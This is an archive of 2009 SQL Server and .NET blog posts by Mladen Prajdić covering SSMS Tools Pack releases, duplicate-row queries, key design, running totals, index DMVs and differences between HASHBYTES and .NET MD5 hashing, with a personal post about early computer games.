I want some Moore

SSMS Tools Pack 1.7.5.1 is out! Bug fixes for my international users.

Mladen Prajdić — Mon, 02 Nov 2009 17:24:26 GMT

Due to a bug i haven’t anticipated, a whole load of users with non English SSMS couldn’t install the latest SSMS Tools Pack 1.7.

The SSMS Tools Pack 1.7.5.1 fixes this as well as 1 other major bug that was reported and 3 smaller ones.

The feature list hasn’t changed.

You can simply reinstall 1.7.5.1 over the 1.7.0.0.

If you’re still on 1.5 or less then you’ll have to manually uninstall it and install 1.7.5.1.

You can download the new version here.

Hopefully this will bring back joy to everyone :)

SSMS Tools Pack 1.7 is out! New feature: SQL Snippets

Mladen Prajdić — Mon, 26 Oct 2009 12:49:13 GMT

Ladies and gentlemen, boys and girls, the STP is back to rock your world!

The new feature is SQL Snippets to speed up your development.

This new version brings one completely new option, full GUI redesign, completely rewritten installer, improved error handling and reporting, bug fixes and old features improvements.
Type in the assigned shortcut, press enter or tab and get the snippet you need.
It's quick, clean and saves time!

Some of more visible improved features include:

Completely new installer using the powerful Windows Installer XML (WiX) toolset. Now there’s only one MSI installer file for all versions with automatic detection of which versions should be installed.
Improved search in Current Window History.
Added search through views in Search Table/View or Database Data.
Added option to Copy execution plan bitmaps to file.
New features like Automatic web proxy detection and “Log everything” options in General Options.
Improved logging and direct error reporting features using the awesome PostSharp AOP framework.

SSMS 2008 R2 is supported but expect quirks in it due to the CTP status.

Due to a folder naming installer bug in version 1.5 please uninstall any and all previous versions before installing the 1.7 version.

SQL Server - How to get the whole group of duplicate rows

Mladen Prajdić — Thu, 15 Oct 2009 11:53:32 GMT

We all know how to find only duplicated rows in a table.

Since SQL Server 2005 this became really simple using a ROW_NUMBER() window function like this:

USE AdventureWorks
GO
;WITH cteDupes AS 
(
    -- find all rows that have the same AddressLine1 and City. 
    -- we consider those rows are duplicates so we partition on them    
    SELECT  ROW_NUMBER() OVER(PARTITION BY AddressLine1, City ORDER BY AddressID) AS RN,
            *
    FROM    Person.Address
)
SELECT  *
FROM    cteDupes
WHERE   RN > 1
ORDER BY AddressLine1, City, AddressID

The IO for this method is great. We get only one pass through the table:

Table 'Address'. Scan count 1, logical reads 280, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.

However the problem with this code is that it returns only the duplicated rows and not the original row the duplicates originated from.

Good way

We want a fast way of getting the whole duplicated group. My first attempt was to use the Count(*) with OVER to get the group count in each row like this:

USE AdventureWorks
GO
;WITH cteDupes AS 
(
    -- find all rows that have the same AddressLine1 and City. 
    -- we consider those rows are duplicates so we partition on them
    SELECT  COUNT(*) OVER(PARTITION BY AddressLine1, City ) AS CNT,
            *
    FROM    Person.Address
)
SELECT  *
FROM    cteDupes
WHERE   CNT > 1
ORDER BY AddressLine1, City, AddressID

But looking at the IO this caused made my head explode and i wanted a better way.

Table 'Worktable'. Scan count 3, logical reads 117473, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
Table 'Address'. Scan count 1, logical reads 280, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.

Better way

We could get the same thing by using 2 ROW_NUMBER()-ed column, one in ascending and the other on descending order like this:

USE AdventureWorks
GO
;WITH cteDupes AS 
(
    -- find all rows that have the same AddressLine1 and City. 
    -- we consider those rows are duplicates so we partition on them
    SELECT  ROW_NUMBER() OVER(PARTITION BY AddressLine1, City ORDER BY AddressID DESC) AS RND,
            ROW_NUMBER() OVER(PARTITION BY AddressLine1, City ORDER BY AddressID)      AS RNA,
            *
    FROM    Person.Address
)
SELECT  *
FROM    cteDupes
-- this condition removes the rows that don’t have duplicates 
-- RNA-RND = 0 gets all odd rows in the group: 1st, 3rd, etc...
-- RNA = 1 AND RND = 1 limit those rows to those groups that don’t have duplicates 
-- because if there’s only one row both RNA and RND will be 1
-- by negating the condition we return the whole duplicated group
WHERE NOT (RNA-RND = 0 AND RNA = 1 AND RND = 1)

ORDER BY AddressLine1, City, AddressID

This made the IO a normal single pass at the table.

Table 'Address'. Scan count 1, logical reads 280, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.

If anyone has a better way do let me know.

Why I prefer surrogate keys instead of natural keys in database design

Mladen Prajdić — Tue, 06 Oct 2009 11:17:11 GMT

Simply put:

I prefer using surrogate keys because natural keys are by default a subject to change which is a bad behavior for a row identifier.

But let’s dig a bit deeper into each key type to see why this is. Here’s a little table with column names that tell us what kind of a key each column is.

Surrogate keys

A surrogate key is a row identifier that has no connection to the data attributes in the row but simply makes the whole row unique. And that property is also the downside of it. Because it has no connection to the data attributes we can have two rows with the exact same data in all columns except the key column. This is usually handled at the application side and is an acceptable downside.

An example of a surrogate key is an integer identity or a GIUD unique identifier. I’ve never seen another data type being used as a surrogate key successfully. Both have their pros and cons though.

GUID unique identifier

GUID is globally unique 16 byte long data type that can have 2¹²⁸ different values. This makes it ideal for scenarios with multiple server moving data from one to another like replication.

However for a key 16 bytes is really a lot. This causes less data to be available on a single data page which in turn causes extra IO activity because it has to retrieve more data pages. Another issue about it is that is causes perfect page splits in a clustered index because it has random 100% selectivity in it’s entire data type range.

Integer identity

Integer identity is either 4 byte INT with range from -2,147,483,648 to 2,147,483,647 or 8 byte BIGINT with range from -9,223,372,036,854,775,808 to 9,223,372,036,854,775,807. In 99.9% of cases this range is split in half because the default setting in SQL Server is to start any integer data type from 0. As this is a surrogate key this makes no sense and there’s no reason it shouldn’t start from the min value.

It is a small data type which gives it the advantage of having more data in the data pages thus needing less IO for the same amount of data. Unlike the GIUD unique identifier the integer identity has ever increasing 100% selectivity in it’s entire data type range. This makes it a perfect candidate for a clustered because it doesn’t cause page splits. If it actually is an appropriate candidate for a clustered index is a different matter.

Its downside is that it is not ideal for multi server scenarios although it can be done by using another tinyint column identifying a location and making it a covering row identifier over ID and LocationId columns.

And remember: Never tie any business logic to the surrogate key other than simple CRUD operations.

Natural Keys

A natural key is a row identifier composed of data that uniquely describes data using its own attributes. An example of a natural key is social security number or other government issued number.

However this presents a huge problem from the physical database implementation point of view. In most databases a row identifier is usually also the basis for the clustered index and non-clustered indexes. But natural keys are by definition a subject to change. When the clustered index key is changed ALL indexes have to be rebuilt because non-clustered indexes contain the full key of the clustered index. So every time the natural key, which is also a clustered index changes, all indexes have to be rebuilt. And this is not including changing the actual data type or it’s size, jut the key value.

At this point someone might say: Yes Mladen you’re right about the theory of this but how many times have you seen the Natural key really change? Well so far I’ve seen it 2 times both with heavy consequences. It was 2 times too many.

Natural Key Fail Case 1:

It was a standard customer, product, order type of application. The key in this case was the 7 char long customer ID. It was a mix of first 3 letters of the customer name plus 4 numbers that also had some business meaning. The company got acquired by another company and a new customer numbering was introduced. Every key in that database had to be changed. Due to fully breaking changes to the database the whole application had to be modified and the store went offline for 3 months loosing the company a lot of profit. All this wouldn’t have happened if they had used surrogate keys.

Natural Key Fail Case 2:

This one was even more far reaching. In Slovenia (my home country) we have something called a Tax ID. This is an ID that is unique for companies and individuals so every person and every company has one for tax purposes. Many systems in Slovenia used it as the natural never changing key which sounded like a reasonable thing at the time. And it was so for over 30 years. Applications came and went. But in 2004 Slovenia entered into the European Union. So we had to modify the TaxId to European standards which means that every application using it had to be changed. I know of at least one company that went out of business because of this change. Again had they used a surrogate key the only change would be the length of the TaxId column.

Because of all this I’ve come to the prefer the surrogate keys in majority of cases.

Hopefully this gives you some insight why surrogates are in my opinion better suited as row identifiers. Although whichever you choose is still a matter of common sense and your business problem. The answer is always “It depends”.

Why would Visual Studio build always rebuild a solution?

Mladen Prajdić — Mon, 24 Aug 2009 11:31:43 GMT

Today I had an interesting problem.

If I rebuilt my solution every thing would succeed but after that if i pressed F5 (build) the whole solution would get built again but it would error out. Now this doesn’t make any sense because the difference between Build and Rebuild is that Rebuild always compiles and links all files + all dependencies, while Build only compiles and links files that have changed since the last build. So everything should be fine. The thing about our solution is that the we have some post build events that do some IL merge, etc… the problem was that rebuild ran those events while just build didn’t. So on build IL merge didn’t happen and I got the error when I pressed F5.

It turned out that one dependant DLL that was included everywhere had a create date set to year 2049 and because of that the build process wanted to build everything every time since it thought that it had changed since it was in the future. Talk about going back to the future :)

Moral of the story: If your build always builds your whole solution check for future dated files.

The 24 hours of PASS

Mladen Prajdić — Wed, 05 Aug 2009 11:52:48 GMT

On September 2nd this years biggest online SQL Server related event will begin.

It’s the 24 hours of PASS.

The 24 one-hour presentations will begin at 00:00 GMT (UTC) on September 2, 2009 and it will last full 24 hours.

The speaker list is impressive and topics are something to be desired.

So on September 2nd prepare to have a sleepless day.

Gentlemen, start your SQL engines!

SQL Server 2005 – Fast Running Totals solution with ordered CTE update?

Mladen Prajdić — Tue, 28 Jul 2009 09:48:29 GMT

The Running Totals problem is as old as accounting. In SQL Server there are different ways of calculating it and the general consensus is that it is one of the few problems best handled with a cursor. I still say it’s best handled in the presentation layer though. Being the SQL geek I am I can’t accept a problem in SQL Server which has a cursor for a solution (just kidding).

Note that I didn’t put any indexes on the tables so we can’t rely on them for any kind of ordering. The base table has 10 million rows and we’re going to aggregate on a 1 million row subset. For shortness sake the test table consists of a single column that we will aggregate on. And if you really need to output running totals of 1 million rows on the fly you’re doing something wrong. :)

IF OBJECT_ID('tempdb..#baseTable') IS NOT NULL
    DROP TABLE #baseTable
-- create a 10 million row base table
-- we need running totals for 1 million rows out of 10 million
SELECT TOP 10000000 -- 10 million row table
       ROW_NUMBER() OVER (ORDER BY t1.Number) AS Number
INTO   #baseTable
FROM   master..spt_values t1
       CROSS JOIN master..spt_values t2
       CROSS JOIN master..spt_values t3

The ordered CTE Update solution

In SQL Server 2005 Common Table Expressions (CTE) were introduced. They work like a view inside your select statement. What is cool and not well known about them is that you can update, insert and delete their results without joining them to other tables. I used a TOP (Int Max value) trick because the TOP 100 Percent syntax is considered harmful. Because of this I didn’t want to rely on it.

The next gem is the OUTPUT clause which was also introduced in SQL Server 2005. It outputs changed data from an update, delete or an insert statement into a result set so you don’t need to do another select.

First we populate the temp table with the 1 million rows subset we wish and add an extra RT column which will hold the Running total value. Next we create an ordered CTE, update it with “the direct variable and column update at the same time” trick and directly output the updated rows into the returning result set.

IF OBJECT_ID('tempdb..#testCTE') IS NOT NULL
    DROP TABLE #testCTE

DECLARE @dtStart DATETIME
SELECT  @dtStart = GETDATE()

-- create our temp table to return data from
SELECT TOP 1000000 Number, CAST(0 AS BIGINT) RT
INTO   #testCTE
FROM   #baseTable
ORDER BY Number

-- ORDER BY NEWID() -- also works just fine

-- declare helper variable
DECLARE @RT BIGINT
SELECT @RT = 0

;WITH RunningTotals AS
(
    SELECT TOP (2147483647) -- put a int max value here to get all rows
           Number, RT
    FROM   #testCTE
    ORDER BY Number
    -- both of there work correctly
    -- ORDER BY Number DESC
    -- ORDER BY NEWID()
)
UPDATE RunningTotals 
SET       @RT = RT = @RT + Number
OUTPUT inserted.*

SELECT DATEDIFF(s, @dtStart, GETDATE()) AS DurationInSeconds

The query ran in 8 seconds which blew my mind. I tried various orderings of the column, putting ~~clustered and~~ nonclustered indexes, ordering insert into #testCTE table by newid() but I couldn’t find any example where the ordering would not be honored. Even fragmenting the index didn’t break it.

If anyone could provide an example when the order by isn’t honored I’d be very pleased. Being proved wrong is kind of fun :)

UPDATE: Problems with clustered index

After playing some more and discussing this with Jeff Moden (hoped he would drop in :)) the problem with adding a clustered index is that the clustered index is always updated in the order of the clustering key. It doesn’t matter on which column it is. We can verify this easily by doing this:

SELECT TOP 1000000 Number, CAST(0 AS BIGINT) RT
INTO   #testCTE
FROM   #baseTable
ORDER BY Number

CREATE CLUSTERED INDEX CI_testCTE_Number ON #testCTE(Number)

If we run the upper CTE after adding a clustered index we can see that different ordering inside the CTE makes no difference since the update runs in the order of the clustering key. For this to work the #testCTE should NOT have a clustered index on it. Non clustered indexes are ok and they make no difference since the ordering inside the CTE is respected.

And please leave the running totals for the client to do. It’s its job. :)

The Cursor and Correlated subquery solutions

For completeness sake here are the cursor and correlated subquery solutions. Cursor solution took 48 seconds and I just killed the correlated subquery after 5 minutes.

-- Cursor solution
IF OBJECT_ID('tempdb..#testCursor') IS NOT NULL
    DROP TABLE #testCursor
-- create our empty temp table to return data from
DECLARE @dtStart DATETIME
SELECT  @dtStart = GETDATE()

SELECT TOP 1 Number, CAST(0 AS BIGINT) RT
INTO   #testCursor
FROM   #baseTable
WHERE  1=0

DECLARE RTCursor CURSOR FOR 
SELECT TOP 1000000 Number FROM #baseTable ORDER BY Number

DECLARE @Number INT, @RT BIGINT
SELECT @RT = 0

OPEN RTCursor
WHILE (0=0) BEGIN 
    FETCH NEXT FROM RTCursor INTO @Number
    
    IF @@FETCH_STATUS <> 0 BREAK 
  
    SET @RT = @RT + @Number
  
    INSERT INTO #testCursor(Number, RT) 
    VALUES(@Number, @RT ) 
END
CLOSE RTCursor
DEALLOCATE RTCursor

SELECT *
FROM #testCursor
ORDER BY Number

SELECT DATEDIFF(s, @dtStart, GETDATE()) AS DurationInSeconds
GO

-- Correlated subquery method
SELECT TOP 1000 Number, (SELECT SUM(Number) FROM #baseTable WHERE Number <= t1.Number) AS RT
FROM   #baseTable t1
ORDER BY Number

I haven’t tried the SQL CLR solution for this so if anyone has any benchmarks I’d be glad to hear them.

How to check when was SQL Server installed with a T-SQL query

Mladen Prajdić — Thu, 16 Jul 2009 16:55:19 GMT

Today on twitter Lori Edwards (@loriedwards) asked how can you check when was SQL Server installed with a T-SQL query. Otherwise this is pretty simple by looking at the creation time of master database (provided you never had to restore it).

But i wanted to find a nice way of doing this without resorting to any xp_ stored procedures. Of course this is possible by looking into the sys.syslogins compatibility view:

SELECT  createdate as Sql_Server_Install_Date 
FROM    sys.syslogins 
where   sid = 0x010100000000000512000000 -- language neutral
        -- loginname = 'NT AUTHORITY\SYSTEM' -- only English language installations

This query actually returns the creation date and time of the NT AUTHORITY\SYSTEM login which gets created when you install SQL Server. This of course won’t work if you had to restore the master database.

Pretty simple if you know where to look :))

SQL Server 2008 for Developers live meeting presentation

Mladen Prajdić — Mon, 15 Jun 2009 21:22:56 GMT

I’ll be talking about the following topics:

What should developers know about database design so they don't have performance and logical problems?

What's new in SQL Server 2008 that helps solve some business problems that sometime required "hacking" before.

Concurrency design models and isolation levels.

The presentation will start on Tuesday June 16th at 2:00 PM EST / 6:00 PM UTC / 8:00 PM CET

More info at PASS Application Development SIG

UPDATE: you can view the presentation here.

Adding one file to multiple projects in a .Net solution

Mladen Prajdić — Fri, 05 Jun 2009 14:03:44 GMT

There are times when you want to have one .cs file in multiple projects. However if you do Add existing item you’ll notice that the file is copied to each project’s folder. This is not what we want.

The solutions is of course pretty simple once you know where to look. In the Add existing item dialog you have to add the file as a Link as is shown on the picture:

And there you go. you can have one file in multiple projects.

SQL Server 2008 Extended Events - high performance eventing system

Mladen Prajdić — Fri, 29 May 2009 14:15:36 GMT

I’ve written two articles on SQLTeam.com about a great new feature in SQL Server 2008 called Extended Events. They are the new low level, high performance eventing system in SQL Server. They use less system resources and provide better tracking of SQL Server performance than previous methods like Perfmon and SQL Trace/Profiler events.

1. Introduction to SQL Server 2008 Extended Events

This is an introductory article where we take a look at performance troubleshooting and system monitoring and what they lack in previous SQL Server versions. After that we get to know the Extended Events architecture, new terminology and we try them out with a simple example.

2. Advanced SQL Server 2008 Extended Events with Examples

Part 2 of the series takes a look at some performance considerations we must be aware of when using Extended Events like synchronous or asynchronous target target, predicate short circuiting and event action size. After we take a look at 7 examples that show a different way we can use them to troubleshoot our system. Examples are meant to show Extended Events power and give some ideas on how to use them for more advanced monitoring.

Free SQL Server 2008 Powerpoint dark template

Mladen Prajdić — Thu, 07 May 2009 11:24:51 GMT

Recently i was looking for a SQL Server 2008 based template that would look cool. Since I haven’t found anything I’ve made my own. It’s a dark background template that you can use freely.

Suggestions for improvements are welcome in the comments. Also if you have an idea for a light background based template, I’d love to hear it.

The title look	The slide look

Here you go: SQL Server 2008 Dark Template.

Enjoy it!

Comparing SQL Server HASHBYTES function and .Net hashing

Mladen Prajdić — Tue, 28 Apr 2009 09:43:21 GMT

A while back we had an interesting problem at work. We were calculating MD5 hashes for some values in both .Net and SQL Server and although the input values were all the same our MD5 hashes were different. After some time spent looking dumbfounded at the code I’ve realized what the bug was and started laughing. I saw that HashBytes function was the “culprit”. HashBytes function was introduced in SQL server 2005 to simplify creating hashes in the database. It can convert values to MD2, MD4, MD5, SHA, or SHA1 formats. HashBytes' result depends on the input text’s data type and can at the first glance give a bit different results that we might think, especially when combined with the .Net framework. Of course hashing itself works correctly in both. Let’s see what going on with some examples. From here on when i say hash i mean MD5 hash.

Example in SQL Server

-- note the size 15 of all datatypes
declare @val1 varchar(15),
        @val2 nvarchar(15),
        @val3 char(15),
        @val4 nchar(15)

-- example of 1 byte/char text
-- all variables are of same length
select  @val1 =  '1234567890',
        @val2 = N'1234567890',
        @val3 =  '1234567890',
        @val4 = N'1234567890'

-- all 4 return different results
select  HASHBYTES('md5', @val1) as MD5_varchar,     -- result = 0xE807F1FCF82D132F9BB018CA6738A19F
        -- just to show that collation doesn't change the hash
        HASHBYTES('md5', @val1 collate Cyrillic_General_BIN2) as MD5_varchar_collation, -- result = 0xE807F1FCF82D132F9BB018CA6738A19F
        HASHBYTES('md5', @val2) as MD5_Nvarchar,    -- result = 0xE15E31C3D8898C92AB172A4311BE9E84
        HASHBYTES('md5', @val3) as MD5_char,        -- result = 0x2120C3F3423F89BA8A65ABD933321884
        HASHBYTES('md5', @val4) as MD5_Nchar        -- result = 0x90DEF5840F3A31174CA44E2022F743B6

-- example of 2 bytes/char text

-- 中文 means Chinese in written text
-- converting 2 bytes/char text to varchar cuts the text in half
select  @val1 =  '中文',   -- this cuts the text in half
        @val2 = N'中文',   -- this stores the whole text
        @val3 =  '中文',   -- this cuts the text in half
        @val4 = N'中文'    -- this stores the whole text

-- all 4 return different results
select  HASHBYTES('md5', @val1) as MD5_varchar,     -- result = 0xEA03FCB8C47822BCE772CF6C07D0EBBB
        HASHBYTES('md5', @val2) as MD5_Nvarchar,    -- result = 0x73C6C8CD2F94355EF015E5265D5E65B1
        HASHBYTES('md5', @val3) as MD5_char,        -- result = 0xA13C45A38853677887B4839071537634
        HASHBYTES('md5', @val4) as MD5_Nchar        -- result = 0xEADEBD3BD72A481C43C828E0C550145C

The catch here is the data type difference. Nvarchar and nchar take twice more bytes to store data than varchar and char. Since char and nchar pad the right side of the string with spaces to fill the gap up to defined data type length the spaces are also used in MD5 calculation. A collation plays no part in calculating hash values since collations are only applied to sorts and comparisons.

However care must be taken with texts that need 2 bytes per char of storage space like Chinese text. Storing it in a varchar variable cuts it in half.

Example in .Net - C#

For generating MD5 hashes I’ve used the code from this site which turned up as the first result on Google for “MD5 in C#”:

public string GetMD5Hash(string input)
{
    System.Security.Cryptography.MD5CryptoServiceProvider x = new System.Security.Cryptography.MD5CryptoServiceProvider();
    //byte[] bs = System.Text.Encoding.ASCII.GetBytes(input);
    //byte[] bs = System.Text.Encoding.UTF7.GetBytes(input);
    //byte[] bs = System.Text.Encoding.UTF8.GetBytes(input);
    byte[] bs = System.Text.Encoding.Unicode.GetBytes(input);
    //byte[] bs = System.Text.Encoding.UTF32.GetBytes(input);
    bs = x.ComputeHash(bs);
    System.Text.StringBuilder s = new System.Text.StringBuilder();
    foreach (byte b in bs)
    {
        s.Append(b.ToString("x2").ToLower());
    }
    string password = s.ToString();
    return password;
}

// hashes for the simple “1234567890” text in all encodings
ASCII:   e807f1fcf82d132f9bb018ca6738a19f
UTF7:    e807f1fcf82d132f9bb018ca6738a19f
UTF8:    e807f1fcf82d132f9bb018ca6738a19f
Unicode: e15e31c3d8898c92ab172a4311be9e84
UTF32:   6a57502c29a5081f03cb70e0ad38ecc7

// hashes for the complex “中文” text in all encodings
ASCII:   ea03fcb8c47822bce772cf6c07d0ebbb
UTF7:    eb02105e5c51a33f21e8da7f8102cfda
UTF8:    a7bac2239fcdcb3a067903d8077c4a07
Unicode: 73c6c8cd2f94355ef015e5265d5e65b1
UTF32:   65fe91b81ed1107566f9f9f5ed4ccaf1

All strings in .Net store their chars in 2 bytes by default. When hashing values we have to take this into account and use proper text Encoding. .Net supports 5 encodings: ASCII (7 bits per char), UTF7 (7 bits per char), UTF8 (8 bits = 1 byte per char), Unicode (UTF-16) (16 bits = 2 bytes per char) and UTF32 (32 bits = 4 bytes per char).

For text with only first 127 chars in the ASCII table ASCII, UTF7 and UTF8 encodings all return the same hash, but with UTF16 and UTF32 comes endianness so they don’t return the same hash values. Also note that the ASCII and UTF7 encoding aren’t recommended to be used anymore except in legacy apps. UTF8 should be used instead.

For text with complex chars we have to use Unicode or UTF32 or we loose char information.

Putting .Net and SQL Server together

It turns out that such a simple thing as hashing can become a serious issue if we’re not careful. Trouble always awaits when dealing with text and encodings. :)

When using SQL Server’s varchar data type the .Net encoding to go with is UTF8 since it’s the fastest and most optimized of the three (ASCII, UTF7, UTF8). When using the nvarchar data type to go is Unicode (UTF16) but we also have to know the texts endianness to create correct hashes. UTF32 is practically useless in this case because SQL Server doesn’t have a data type that stores text in 4 bytes/char so we’ll never get the same results if we use it.

This advice only applies when creating hashes both in .Net and SQL server and comparing them. If we’re creating hashes in .Net and only store them in a database then we don’t have to worry about this.

SQL Server - Find missing and unused indexes

Mladen Prajdić — Wed, 08 Apr 2009 21:46:21 GMT

Indexes are one of the most important database features. Without them your database will crawl under a table in fear of simple queries on large tables or complex queries on small tables. That’s why one of the most important things a DBA or a database developer should know is basic index maintenance.

Performance problems are usually result of missing indexes. Index tuning is more of an art than it is a science since possible workloads are so many that there is no one rule to rule them all. It’s a mixture of testing, implementing, retesting and reimplementing. For this purpose The SQL Server team has created the Database Tuning Advisor that takes a recorded workload (from SQL Profiler), analyzes it and suggests index improvements. However this is a tool for some really deep analysis, so we’ll take a look at some lightweight options.

On the other hand too many unused indexes bloat the database and unnecessarily increase the database size. This can cause problems with larger backups that take longer to create. This is why there’s a delicate balance to keep when maintaining indexes.

With SQL Server 2005 we got introduced to Dynamic Management Views (DMV’s). They are a powerful tool when troubleshooting SQL Server performance. Their downside is that most of them hold aggregated values since server start. That’s why we have to poll them twice at the start and at the end of the desired interval to get meaningful results. However for our purpose we don’t have to do this since we want to know which indexes are not used since our server started. We can find this information because when building an execution plan the SQL Server keeps information about every index it has used and could have used because it’s a cost based engine.

Finding missing indexes

Needed Dynamic Management Views (DMV’s)

As I said earlier SQL Server keeps data about possible missing indexes. If an actual execution plan is included when running a query then the missing indexes are also displayed there.

The data about missing indexes is stored in the following DMV’s which all exclude info about spatial indexes:

sys.dm_db_missing_index_groups

This DMV returns only 2 columns with information about which indexes are in which group.

sys.dm_db_missing_index_group_stats

This DMV returns information about each missing indexes group. It returns info like the estimated average impact or how many seeks, scans and compilations/recompilations would benefit from adding the missing indexes.

sys.dm_db_missing_index_details

This DMV returns detailed information about each missing index like table name that is missing an index and CSV’s of columns that the index would be beneficial on.

sys.dm_db_missing_index_columns

This a Dynamic Management Function (DMF) that accepts an index_handle parameter. It returns columns that should be in the suggested index identified with the index_handle that can be obtained from sys.dm_db_missing_index_details and sys.dm_db_missing_index_groups. It does not include spatial indexes. The column named column_usage returns info on how this column would benefit for a particular index. EQUALITY and INEQUALITY mean that the column would be used in a where clause predicate. INCLUDE means that the column should be an included column on an existing non-clustered index.

A simple example

USE AdventureWorks;
GO
-- run some queries
SELECT  City, ModifiedDate
FROM    Person.Address
WHERE   StateProvinceID < 1000 AND ModifiedDate > DATEADD(yyyy, -5, GETDATE());
GO
SELECT  City, StateProvinceID, PostalCode
FROM    Person.Address
WHERE   StateProvinceID = 15733;
GO
-- get the missing indexes that would be beneficial for speeding up above queries
SELECT  D.index_handle, [statement] AS full_object_name, unique_compiles, avg_user_impact, user_scans, user_seeks, column_name, column_usage
FROM    sys.dm_db_missing_index_groups G
        JOIN sys.dm_db_missing_index_group_stats GS ON G.index_group_handle = GS.group_handle
        JOIN sys.dm_db_missing_index_details D ON G.index_handle = D.index_handle
        CROSS APPLY sys.dm_db_missing_index_columns (D.index_handle) DC
ORDER BY D.index_handle, [statement];

The DMV’s return raw data so you’ll have to do some string magic to build the CREATE INDEX statements out of it.

Limitations

This cool feature of course has some limitations. Some of those are:

Database Engine Tuning Advisor kicks its behind. Think of Missing Indexes DMV’s as a really lightweight DTA. So when doing a really in-depth index analysis, don’t rely only on the Missing Indexes DMV’s. Just start with them.
Missing Indexes DMV’s don’t provide any information about new index overhead like space or IO/CPU overhead on updates, inserts and deletes.
There’s no information about the column order in the suggested index or whether it should be clustered or non-clustered.
Missing Indexes DMV’s consider only per query indexes and not per workload indexes.
Missing Indexes DMV’s can track a maximum of 500 indexes.
Trivial execution plans (plans for really simple SQL Statements) are not considered.

Finding unused indexes

Since SQL Server keeps data of all used indexes, getting the unused indexes is a simple matter of comparing used indexes to all existing indexes. Those that exist but are not used are of course unused indexes.

SELECT  OBJECT_SCHEMA_NAME(I.OBJECT_ID) AS SchemaName,
        OBJECT_NAME(I.OBJECT_ID) AS ObjectName,
        I.NAME AS IndexName        
FROM    sys.indexes I   
WHERE   -- only get indexes for user created tables
        OBJECTPROPERTY(I.OBJECT_ID, 'IsUserTable') = 1 
        -- find all indexes that exists but are NOT used
        AND NOT EXISTS ( 
                    SELECT  index_id 
                    FROM    sys.dm_db_index_usage_stats
                    WHERE   OBJECT_ID = I.OBJECT_ID 
                            AND I.index_id = index_id 
                            -- limit our query only for the current db
                            AND database_id = DB_ID()) 
ORDER BY SchemaName, ObjectName, IndexName

Note that both these methods are only useful if your server has been running long enough and has been through peek usage. The data in the mentioned DMV’s is cleared on the next instance restart. If we want to save this information for further analysis we should create a scheduled job that periodically queries the DMV’s and saves the information to tables.

What was my first computer and what were some of my favorite games?

Mladen Prajdić — Thu, 19 Feb 2009 19:44:35 GMT

I was tagged by Denis Gobo in the latest blog meme: What was your first computer and games you’ve played?

Well mine was the Sinclair ZX Spectrum.

I got it when i was 9 years old and I only used it to play games. No programming for this kid just yet. That came a lot later.

This baby had a tape drive whose sound I really enjoyed imitating to annoy my mom :)

So what were some of the games? These are the four I remember:

Grand Prix Circuit

This was my first intro into the world of F1. I can still remember the “eeeeee cccccc beep beep beep” sounds of the engine and tires. Ahhhh, those were the days…

The Chessmaster 2000

My first chess program. I was taught chess at the age of 4 by my uncle and have played it more or less actively since. I remember staying up late for many of nights trying to beat it.

Frogger

The one, the only, the ultimate - the frog! Up, down, all around, left, right, jump with might! Such simplicity yet so playable. Even today I like to play a game of Frogger now and then.

Popeye

This one I enjoyed playing but i haven no clue why. Probably to bring out my romantic side as the game was filled with hearts and winning the lady. :)

That’s it.

I’m tagging Jeff Smith, Peter Larsson, Adam Machanic and Robert C. Cain to tell us what they had and played with.